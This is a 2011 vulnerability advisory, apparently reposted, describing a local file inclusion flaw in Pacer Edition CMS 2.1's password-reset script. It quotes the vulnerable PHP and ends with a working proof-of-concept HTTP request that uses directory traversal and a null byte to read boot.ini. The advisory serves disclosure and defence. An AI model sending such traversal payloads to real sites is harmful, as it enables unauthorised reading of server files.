74 lines
No EOL
2.2 KiB
Text
74 lines
No EOL
2.2 KiB
Text
Pacer Edition CMS 2.1 (l param) Local File Inclusion Vulnerability
|
|
|
|
Vendor: The Pacer Edition
|
|
Product web page: http://www.thepaceredition.com
|
|
Affected version: RC 2.1 (SVN: 867)
|
|
|
|
Summary: The 'Pacer Edition' is a Content Management System(CMS)
|
|
written using PHP 5.2.9 as a minimum requirement. The Pacer Edition
|
|
CMS was based from Website baker core and has been completely
|
|
redesigned with a whole new look and feel along with many new
|
|
advanced features to allow you to build sites exactly how you want
|
|
and make them, 100% yours!
|
|
|
|
Desc: Pacer Edition CMS suffers from a local file inlcusion
|
|
vulnerability when input passed thru the 'l' parameter to
|
|
admin/login/forgot/index.php script is not properly verified
|
|
before being used to include files. This can be exploited to
|
|
include files from local resources with directory traversal
|
|
attacks and URL encoded NULL bytes.
|
|
|
|
|
|
/admin/login/forgot/index.php (line: 59-62):
|
|
----------------------------------------------------------------
|
|
|
|
$lang_id = ((isset($_GET['l'])) ? $_GET['l'] : '');
|
|
if ($lang_id == '') $lang_id = (LANGUAGE) ? LANGUAGE : (DEFAULT_LANGUAGE) ? DEFAULT_LANGUAGE : 'EN';
|
|
if (!file_exists(PE_PATH.'/languages/'.$lang_id.'.php')) $lang_id = 'EN';
|
|
require (PE_PATH.'/languages/'.$lang_id.'.php');
|
|
|
|
----------------------------------------------------------------
|
|
|
|
|
|
Tested on: Microsoft Windows XP Professional SP3 (EN)
|
|
Apache 2.2.14 (Win32)
|
|
PHP 5.3.1
|
|
MySQL 5.1.41
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
liquidworm gmail com
|
|
Zero Science Lab
|
|
|
|
|
|
Advisory ID: ZSL-2011-5019
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5019.php
|
|
|
|
|
|
|
|
07.06.2011
|
|
|
|
|
|
PoC:
|
|
|
|
----------------------------------------------------------------
|
|
|
|
POST /admin/login/forgot/index.php?l=..%2f..%2f..%2f..%2f..%2fboot.ini%00 HTTP/1.1
|
|
Host: localhost
|
|
Proxy-Connection: keep-alive
|
|
User-Agent: thricer
|
|
Content-Length: 2
|
|
Cache-Control: max-age=0
|
|
Origin: null
|
|
Content-Type: multipart/form-data; boundary=----x
|
|
Accept: text/html
|
|
Accept-Language: en-US,en;q=0.8
|
|
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
|
|
|
|
------x
|
|
Content-Disposition: form-data; name="email"
|
|
|
|
sm
|
|
------x--
|
|
|
|
---------------------------------------------------------------- |